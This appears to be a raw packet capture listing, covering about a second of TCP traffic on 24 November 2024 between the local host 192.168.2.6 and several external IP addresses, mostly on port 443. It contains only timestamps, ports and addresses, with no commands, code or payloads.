Nov 24, 2024 00:06:44.022200108 CET	49849	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.022460938 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.022475004 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.022608042 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.022697926 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.022722960 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.022880077 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.023571014 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.023585081 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.023861885 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.023871899 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.023942947 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.023955107 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.046700001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:44.055351973 CET	443	49848	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.059354067 CET	443	49841	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.063333988 CET	443	49840	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.063371897 CET	443	49849	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.063379049 CET	443	49846	18.165.220.66	192.168.2.6
Nov 24, 2024 00:06:44.063405037 CET	443	49842	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.066083908 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.066107988 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.066167116 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.066720963 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.066735983 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.087706089 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.090977907 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.091006041 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.091623068 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.091628075 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.140458107 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.258006096 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.258100033 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.258182049 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.258665085 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.258680105 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.258692026 CET	49819	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.258697987 CET	443	49819	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.262398005 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.262429953 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.262496948 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.262691975 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.262706995 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.312339067 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.312402964 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.312558889 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.313169956 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.313169956 CET	49822	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.313186884 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.313199043 CET	443	49822	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.316562891 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.316596985 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.316749096 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.316922903 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.316936970 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.412013054 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.412096024 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.412142992 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.416152954 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.416172028 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.416186094 CET	49823	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.416191101 CET	443	49823	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.419543028 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.419564962 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.420525074 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.420747995 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.420756102 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.480328083 CET	443	49841	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.480402946 CET	49841	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.505409956 CET	443	49842	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:44.505470037 CET	49842	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:44.517652035 CET	443	49840	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.517802954 CET	443	49840	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:44.517852068 CET	49840	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.517916918 CET	49840	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:44.532430887 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.532486916 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.532555103 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.532823086 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.532835007 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.532859087 CET	49825	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.532862902 CET	443	49825	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.535381079 CET	49868	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.535412073 CET	443	49868	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.535479069 CET	49868	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.535629988 CET	49868	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.535640001 CET	443	49868	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.689193964 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.693274021 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.693371058 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.693384886 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.704822063 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.704860926 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.704865932 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.714437008 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.714610100 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.714632988 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.727340937 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.727415085 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.727423906 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.740987062 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.741076946 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.741081953 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.808803082 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.808855057 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.808867931 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.812849045 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.812927008 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.812932014 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.821181059 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.823127985 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.823132992 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.888493061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:44.888641119 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:44.903129101 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.903208971 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.903215885 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.910222054 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.910322905 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.910326958 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.917187929 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.917256117 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.917263985 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.927686930 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.927762032 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.927767038 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.935930014 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.935991049 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.935996056 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.941006899 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.941107988 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.941112041 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.953876019 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.953969002 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.953982115 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.967456102 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.967516899 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.967523098 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.981297016 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.981389046 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.981394053 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.990919113 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.991528988 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.991548061 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.992050886 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:44.992054939 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:44.995078087 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:44.995131016 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:44.995135069 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.006053925 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.006402969 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.006407976 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.017576933 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.017621994 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.017626047 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.029514074 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.029562950 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.029568911 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.041229963 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.042072058 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.042076111 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.066284895 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.066351891 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.066358089 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.068496943 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.068567038 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.068572044 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.110044003 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.110090971 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.110135078 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.110150099 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.110192060 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.112071991 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.115544081 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.115611076 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.115617990 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.119936943 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.120413065 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.120431900 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.128412962 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.128504038 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.128503084 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.128524065 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.128652096 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.132530928 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.136661053 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.136712074 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.136730909 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.139571905 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.139643908 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.139666080 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.146332026 CET	443	49848	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.146426916 CET	443	49848	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.146514893 CET	49848	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.146538019 CET	49848	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.147392988 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.147448063 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.147460938 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.148714066 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.148806095 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.148818970 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.153398991 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.153538942 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.153556108 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.161678076 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.161741018 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.161756992 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.168556929 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.168612957 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.168628931 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.183870077 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.183932066 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.183948040 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.185523033 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.185600996 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.185612917 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.191224098 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.191274881 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.191287994 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.203526020 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.203686953 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.203705072 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.214349985 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.214421034 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.214438915 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.215579987 CET	443	49846	18.165.220.66	192.168.2.6
Nov 24, 2024 00:06:45.215684891 CET	49846	443	192.168.2.6	18.165.220.66
Nov 24, 2024 00:06:45.215697050 CET	443	49846	18.165.220.66	192.168.2.6
Nov 24, 2024 00:06:45.215749025 CET	49846	443	192.168.2.6	18.165.220.66
Nov 24, 2024 00:06:45.226007938 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.226068020 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.226088047 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.238095999 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.238153934 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.238171101 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.239408970 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.239479065 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.239489079 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.246892929 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.247198105 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.247226000 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.248270988 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.248326063 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.249629021 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.249681950 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.249697924 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.250936985 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.251116037 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.251128912 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.251224041 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.251298904 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.251421928 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.251435041 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.255780935 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.255815983 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.255996943 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.256258965 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.256272078 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.257904053 CET	443	49849	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.258002996 CET	49849	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.274741888 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.274800062 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.274804115 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.274820089 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.276204109 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.276254892 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.276268005 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.278628111 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.279002905 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.279047966 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.279061079 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.279087067 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.279097080 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.279598951 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.279609919 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.280169010 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.280229092 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.280244112 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.280251026 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.280303001 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.281090975 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.281192064 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.281354904 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.281415939 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.281416893 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.283730984 CET	49820	443	192.168.2.6	142.250.181.65
Nov 24, 2024 00:06:45.283754110 CET	443	49820	142.250.181.65	192.168.2.6
Nov 24, 2024 00:06:45.284631014 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.284656048 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.285715103 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.285773039 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.288711071 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.288808107 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.288851023 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.288877010 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.289370060 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.289458036 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.289459944 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.289469004 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.289524078 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.289534092 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.289654970 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.289665937 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.315184116 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.315504074 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.315522909 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.316456079 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.316570997 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.316899061 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.316982985 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.317261934 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.317270041 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.321283102 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.321547031 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.321577072 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.322654009 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.322714090 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.323107958 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.323184013 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.323288918 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.323306084 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.330344915 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.362286091 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.365928888 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.365936041 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.379772902 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.379829884 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.379909039 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.380176067 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.380193949 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.437081099 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.437103987 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.448687077 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:45.448751926 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:45.448805094 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:45.469757080 CET	49871	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.469780922 CET	443	49871	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.469866991 CET	49871	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.470360041 CET	49871	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.470372915 CET	443	49871	172.64.41.3	192.168.2.6
